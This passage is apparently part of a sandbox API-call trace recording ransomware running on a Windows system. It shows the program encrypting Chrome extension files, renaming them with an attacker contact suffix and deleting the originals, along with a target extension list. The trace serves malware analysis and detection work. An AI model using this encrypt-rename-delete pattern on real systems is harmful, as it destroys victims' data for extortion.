lpNewFilePointer=0x0) returned 1 [0175.117] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.118] GetLastError () returned 0x0 [0175.118] ReadFile (in: hFile=0x1b4, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xe2, lpOverlapped=0x0) returned 1 [0175.119] WriteFile (in: hFile=0x19c, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0175.119] ReadFile (in: hFile=0x1b4, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0175.120] WriteFile (in: hFile=0x19c, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.120] SetEndOfFile (hFile=0x19c) returned 1 [0175.120] CloseHandle (hObject=0x19c) returned 1 [0175.120] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.120] SetEndOfFile (hFile=0x1b4) returned 1 [0175.121] CloseHandle (hObject=0x1b4) returned 1 [0175.121] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.121] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json")) returned 1 [0175.121] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json") returned 151 [0175.121] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json") returned 151 [0175.121] lstrlenW (lpString=".doc") returned 4 [0175.121] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.121] lstrlenW (lpString=".docx") returned 5 [0175.121] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.121] lstrlenW (lpString=".pdf") returned 4 [0175.121] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.121] lstrlenW (lpString=".xls") returned 4 [0175.121] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.121] lstrlenW (lpString=".xlsx") returned 5 [0175.121] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.122] lstrlenW (lpString=".ppt") returned 4 [0175.122] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.122] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json") returned 151 [0175.122] lstrlenW (lpString=".zip") returned 4 [0175.122] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.122] lstrlenW (lpString=".rar") returned 4 [0175.122] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.122] lstrlenW (lpString=".bz2") returned 4 [0175.122] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.122] lstrlenW (lpString=".7z") returned 3 [0175.122] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.122] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json") returned 151 [0175.122] lstrlenW (lpString=".dbf") returned 4 [0175.122] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.122] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json") returned 151 [0175.122] lstrlenW (lpString=".1cd") returned 4 [0175.122] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.122] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json") returned 151 [0175.122] lstrlenW (lpString=".jpg") returned 4 [0175.122] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.122] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json") returned 151 [0175.122] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json") returned 151 [0175.122] lstrlenW (lpString=".doc") returned 4 [0175.122] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.122] lstrlenW (lpString=".docx") returned 5 [0175.122] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.122] lstrlenW (lpString=".pdf") returned 4 [0175.122] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.122] lstrlenW (lpString=".xls") returned 4 [0175.123] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.123] lstrlenW (lpString=".xlsx") returned 5 [0175.123] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.123] lstrlenW (lpString=".ppt") returned 4 [0175.123] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.123] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json") returned 151 [0175.123] lstrlenW (lpString=".zip") returned 4 [0175.123] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.123] lstrlenW (lpString=".rar") returned 4 [0175.123] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.123] lstrlenW (lpString=".bz2") returned 4 [0175.123] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.123] lstrlenW (lpString=".7z") returned 3 [0175.123] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.123] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json") returned 151 [0175.123] lstrlenW (lpString=".dbf") returned 4 [0175.123] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.123] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json") returned 151 [0175.123] lstrlenW (lpString=".1cd") returned 4 [0175.123] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.123] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json") returned 151 [0175.123] lstrlenW (lpString=".jpg") returned 4 [0175.123] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.123] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.123] lstrlenW (lpString="messages.json") returned 13 [0175.124] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0175.124] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=220) returned 1 [0175.124] CloseHandle (hObject=0x1b4) returned 1 [0175.124] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json")) returned 0x2020 [0175.124] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.124] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0175.124] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.124] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.124] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.127] GetLastError () returned 0x0 [0175.127] ReadFile (in: hFile=0x1b4, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xdc, lpOverlapped=0x0) returned 1 [0175.128] WriteFile (in: hFile=0x19c, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0175.129] ReadFile (in: hFile=0x1b4, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0175.129] WriteFile (in: hFile=0x19c, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.129] SetEndOfFile (hFile=0x19c) returned 1 [0175.129] CloseHandle (hObject=0x19c) returned 1 [0175.129] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.130] SetEndOfFile (hFile=0x1b4) returned 1 [0175.130] CloseHandle (hObject=0x1b4) returned 1 [0175.130] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.131] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json")) returned 1 [0175.131] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json") returned 151 [0175.131] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json") returned 151 [0175.131] lstrlenW (lpString=".doc") returned 4 [0175.131] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.131] lstrlenW (lpString=".docx") returned 5 [0175.131] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.131] lstrlenW (lpString=".pdf") returned 4 [0175.131] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.131] lstrlenW (lpString=".xls") returned 4 [0175.131] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.131] lstrlenW (lpString=".xlsx") returned 5 [0175.131] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.131] lstrlenW (lpString=".ppt") returned 4 [0175.131] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.131] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json") returned 151 [0175.131] lstrlenW (lpString=".zip") returned 4 [0175.131] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.131] lstrlenW (lpString=".rar") returned 4 [0175.131] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.131] lstrlenW (lpString=".bz2") returned 4 [0175.132] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.132] lstrlenW (lpString=".7z") returned 3 [0175.132] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.132] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json") returned 151 [0175.132] lstrlenW (lpString=".dbf") returned 4 [0175.132] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.132] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json") returned 151 [0175.132] lstrlenW (lpString=".1cd") returned 4 [0175.132] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.132] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json") returned 151 [0175.132] lstrlenW (lpString=".jpg") returned 4 [0175.132] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.132] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json") returned 151 [0175.132] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json") returned 151 [0175.132] lstrlenW (lpString=".doc") returned 4 [0175.132] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.132] lstrlenW (lpString=".docx") returned 5 [0175.132] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.132] lstrlenW (lpString=".pdf") returned 4 [0175.132] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.132] lstrlenW (lpString=".xls") returned 4 [0175.132] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.132] lstrlenW (lpString=".xlsx") returned 5 [0175.132] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.132] lstrlenW (lpString=".ppt") returned 4 [0175.132] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.133] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json") returned 151 [0175.133] lstrlenW (lpString=".zip") returned 4 [0175.133] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.133] lstrlenW (lpString=".rar") returned 4 [0175.133] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.133] lstrlenW (lpString=".bz2") returned 4 [0175.133] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.133] lstrlenW (lpString=".7z") returned 3 [0175.133] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.133] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json") returned 151 [0175.133] lstrlenW (lpString=".dbf") returned 4 [0175.133] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.133] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json") returned 151 [0175.133] lstrlenW (lpString=".1cd") returned 4 [0175.133] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.133] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json") returned 151 [0175.133] lstrlenW (lpString=".jpg") returned 4 [0175.133] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.133] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.133] lstrlenW (lpString="messages.json") returned 13 [0175.133] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0175.134] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=223) returned 1 [0175.134] CloseHandle (hObject=0x1b4) returned 1 [0175.134] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json")) returned 0x2020 [0175.134] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.134] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0175.134] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.134] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.134] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.135] GetLastError () returned 0x0 [0175.135] ReadFile (in: hFile=0x1b4, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xdf, lpOverlapped=0x0) returned 1 [0175.142] WriteFile (in: hFile=0x19c, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0175.143] ReadFile (in: hFile=0x1b4, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0175.143] WriteFile (in: hFile=0x19c, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.143] SetEndOfFile (hFile=0x19c) returned 1 [0175.143] CloseHandle (hObject=0x19c) returned 1 [0175.144] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.144] SetEndOfFile (hFile=0x1b4) returned 1 [0175.144] CloseHandle (hObject=0x1b4) returned 1 [0175.144] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.145] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json")) returned 1 [0175.145] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json") returned 152 [0175.145] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json") returned 152 [0175.145] lstrlenW (lpString=".doc") returned 4 [0175.145] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.145] lstrlenW (lpString=".docx") returned 5 [0175.145] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.145] lstrlenW (lpString=".pdf") returned 4 [0175.145] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.145] lstrlenW (lpString=".xls") returned 4 [0175.145] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.145] lstrlenW (lpString=".xlsx") returned 5 [0175.145] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.145] lstrlenW (lpString=".ppt") returned 4 [0175.145] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.145] lstrlenW 